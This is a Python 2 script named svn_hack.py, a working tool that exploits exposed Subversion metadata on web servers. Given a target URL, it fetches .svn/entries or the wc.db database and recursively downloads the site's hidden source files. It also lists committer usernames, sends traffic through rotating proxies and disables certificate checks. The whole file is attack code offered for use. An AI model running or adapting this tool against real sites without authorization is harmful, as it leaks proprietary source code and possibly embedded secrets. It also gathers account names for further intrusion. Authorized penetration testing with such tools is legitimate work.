└── svn_hack.py /svn_hack.py: -------------------------------------------------------------------------------- 1 | #!/bin/python 2 | 3 | import requests 4 | import sys 5 | import argparse 6 | import os 7 | import sqlite3 8 | import traceback 9 | import random 10 | 11 | def readsvn(data,urli,proxys): 12 | old_line="" 13 | file_list="" 14 | dir_list="" 15 | user = "" 16 | global author_list 17 | if not urli.endswith('/'): 18 | urli = urli + "/" 19 | for a in data.text.splitlines(): 20 | #below functionality will find all usernames from svn entries file 21 | if (a == "has-props"): 22 | author_list.append(old_line) 23 | if (a == "file"): 24 | #print urli + old_line 25 | if no_extract: 26 | save_url_svn(urli,old_line, proxys) 27 | file_list=file_list + ";" + old_line 28 | if (a == "dir"): 29 | if old_line != "": 30 | folder_path = os.path.join("output", urli.replace("http://","").replace("https://","").replace("/",os.path.sep), old_line) 31 | if not os.path.exists(folder_path): 32 | if no_extract: 33 | os.makedirs(folder_path) 34 | dir_list = dir_list + ";" + old_line 35 | #print urli + old_line 36 | proxy = {"http": random.choice(proxys)} 37 | try: 38 | d=requests.get(urli+old_line + "/.svn/entries", verify=False, proxies=proxy) 39 | except: 40 | d=requests.get(urli+old_line + "/.svn/entries", verify=False ) 41 | 42 | readsvn(d,urli+old_line,proxys) 43 | old_line = a 44 | return file_list,dir_list,user 45 | 46 | def readwc(data,urli,proxys): 47 | folder = os.path.join("output", urli.replace("http://","").replace("https://","").replace("/",os.path.sep)) 48 | global author_list 49 | if not folder.endswith(os.path.sep): 50 | folder = folder + os.path.sep 51 | with open(folder + "wc.db","wb") as f: 52 | f.write(data.content) 53 | conn = sqlite3.connect(folder + "wc.db") 54 | c = conn.cursor() 55 | try: 56 | c.execute('select local_relpath, ".svn/pristine/" || substr(checksum,7,2) || "/" || substr(checksum,7) || ".svn-base" as alpha from NODES where kind="file";') 57 | list_items = c.fetchall() 58 | #below functionality will find all usernames who have commited atleast once. 59 | c.execute('select distinct changed_author from nodes;') 60 | author_list = [r[0] for r in c.fetchall()] 61 | c.close() 62 | is_necessary_url = False 63 | for filename,url_path in list_items: 64 | svn_url = urli + filename 65 | if svn_url and svn_url[-4:] not in ('.gif','.jpg','.png'): 66 | is_necessary_url = True 67 | #print urli + filename 68 | if no_extract and is_necessary_url: 69 | save_url_wc(urli,filename,url_path,proxys) 70 | except Exception,e: 71 | print "Error reading wc.db, either database corrupt or invalid file" 72 | if show_debug: 73 | traceback.print_exc() 74 | return 1 75 | return 0 76 | 77 | def show_list(list,statement): 78 | print statement 79 | cnt=1 80 | for x in set(list): 81 | print str(cnt) + " : " + str(x) 82 | cnt = cnt + 1 83 | 84 | def save_url_wc(url,filename,svn_path,proxys): 85 | global author_list 86 | if filename != "": 87 | if svn_path is None: 88 | folder_path = os.path.join("output", url.replace("http://","").replace("https://","").replace("/",os.path.sep, filename.replace("/",os.path.sep))) 89 | if not os.path.exists(folder_path): 90 | os.makedirs(folder_path) 91 | else: 92 | folder = os.path.join("output", url.replace("http://","").replace("https://","").replace("/",os.path.sep), os.path.dirname(filename).replace("/",os.path.sep)) 93 | if not os.path.exists(folder): 94 | os.makedirs(folder) 95 | if not folder.endswith('\\'): 96 | folder = folder + "/" 97 | try: 98 | proxy = {"http": random.choice(proxys)} 99 | r=requests.get(url + svn_path, verify=False,proxies=proxy) 100 | with open(folder+os.path.basename(filename),"wb") as f: 101 | f.write(r.content) 102 | except Exception,e: 103 | print "Error while accessing : " + url + svn_path 104 | if show_debug: 105 | traceback.print_exc() 106 | 107 | return 0 108 | 109 | def save_url_svn(url,filename,proxys): 110 | global author_list 111 | folder=os.path.join("output", url.replace("http://","").replace("https://","").replace("/",os.path.sep)) 112 | if not folder.endswith(os.path.sep): 113 | folder = folder + os.path.sep 114 | proxy = {"http": random.choice(proxys)} 115 | try: 116 | r=requests.get(url + "/.svn/text-base/" + filename + ".svn-base", verify=False,proxies=proxy) 117 | except: 118 | r=requests.get(url + "/.svn/text-base/" + filename + ".svn-base", verify=False) 119 | 120 | with open(folder + filename,"wb") as f: 121 | f.write(r.content) 122 | return 0 123 | 124 | def main(argv): 125 | target='' 126 | #placing global variables outside all scopes 127 | global show_debug 128 | global no_extract 129 | global author_list 130 | author_list=[] 131 | desc="""This program is used to hack the hidden SVN files from a webhost considering 132 | either .svn entries file (<1.6) 133 | or wc.db (> 1.7) are available online. 134 | This program actually automates the directory navigation and text extraction process""" 135 | parser = argparse.ArgumentParser(description=desc) 136 | parser.add_argument("--url",help="Provide URL",dest='target',required=True) 137 | parser.add_argument("--debug",help="Provide debug information",action="store_true") 138 | parser.add_argument("--noextract",help="Don't extract files just show content",action="store_false") 139 | #using no extract in a compliment format if its defined then it will be false hence 140 | parser.add_argument("--userlist",help="show the usernames used for commit",action="store_true") 141 | parser.add_argument("--wcdb", help="check only wcdb",action="store_true") 142 | parser.add_argument("--entries", help="check only .svn/entries file",action="store_true") 143 | x=parser.parse_args() 144 | url=x.target 145 | no_extract=x.noextract 146 | show_debug=x.debug 147 | proxys = [] 148 | try: 149 | with open('proxy_ok.txt', 'r') as fd_proxy: 150 | for line in fd_proxy: 151 | if line and line.strip(): 152 | if line.strip().endswith(":443"): 153 | proxy = "{}://{}".format("https",line.strip()) 154 | else: 155 | proxy = "{}://{}".format("http",line.strip()) 156 | #print 'proxy',proxy 157 | proxys.append(proxy) 158 | except Exception,e: 159 | print 'error',e 160 | proxy = {"http": random.choice(proxys)} 161 | 162 | if (x.wcdb and x.entries): 163 | print "Checking both wc.db and .svn/entries (default behaviour no need to specify switch)" 164 | x.wcdb = False 165 | x.entries=False 166 | if url is None: 167 | exit() 168 | print url 169 | if not url.endswith('/'): 170 | url = url + "/" 171 | print "Checking if URL is correct" 172 | try: 173 | r=requests.get(url, verify=False) 174 | except Exception,e: 175 | print "Problem connecting to URL" 176 | if show_debug: 177 | traceback.print_exc() 178 | exit() 179 | if [200,403].count(r.status_code) > 0: 180 | print "URL is active" 181 | if no_extract: 182 | folder_path=os.path.join("output", url.replace("http://","").replace("https://","").replace("/",os.path.sep)) 183 | if not os.path.exists(folder_path): 184 | os.makedirs(folder_path) 185 | if not x.entries: 186 | print "Checking for presence of wc.db" 187 | try: 188 | r=requests.get(url + "/.svn/wc.db", verify=False,allow_redirects=False,proxies=proxy) 189 | except: 190 | r=requests.get(url + "/.svn/wc.db", verify=False,allow_redirects=False) 191 | if r.status_code == 200: 192 | print "WC.db found" 193 | rwc=readwc(r,url,proxys) 194 | if rwc == 0: 195 | if x.userlist: 196 | show_list(author_list,"List of Usersnames used to commit in svn are listed below") 197 | exit() 198 | else: 199 | if show_debug: 200 | print "Status code returned : " + str(r.status_code) 201 | print "Full Respose" 202 | print r.text 203 | print "WC.db Lookup FAILED" 204 | if not x.wcdb: 205 | print "lets see if we can find .svn/entries" 206 | #disabling redirection to make sure no redirection based 200ok is captured. 207 | try: 208 | r=requests.get(url + "/.svn/entries", verify=False,allow_redirects=False,proxies=proxy) 209 | except: 210 | r=requests.get(url + "/.svn/entries", verify=False,allow_redirects=False) 211 | 212 | if r.status_code == 200: 213 | print "SVN Entries Found if no file listed check wc.db too" 214 | data=readsvn(r,url,proxys) 215 | if 'author_list' in globals() and x.userlist: 216 | show_list(author_list,"List of Usersnames used to commit in svn are listed below") 217 | exit(); 218 | else: 219 | if show_debug: 220 | print "Status code returned : " + str(r.status_code) 221 | print "Full Respose" 222 | print r.text 223 | print ".svn/entries Lookup FAILED" 224 | print (url + " doesn't contains any SVN repository in it") 225 | else: 226 | print "URL returns " + str(r.status_code) 227 | exit() 228 | 229 | 230 | if __name__ == "__main__": 231 | main(sys.argv[1:]) 232 | --------------------------------------------------------------------------------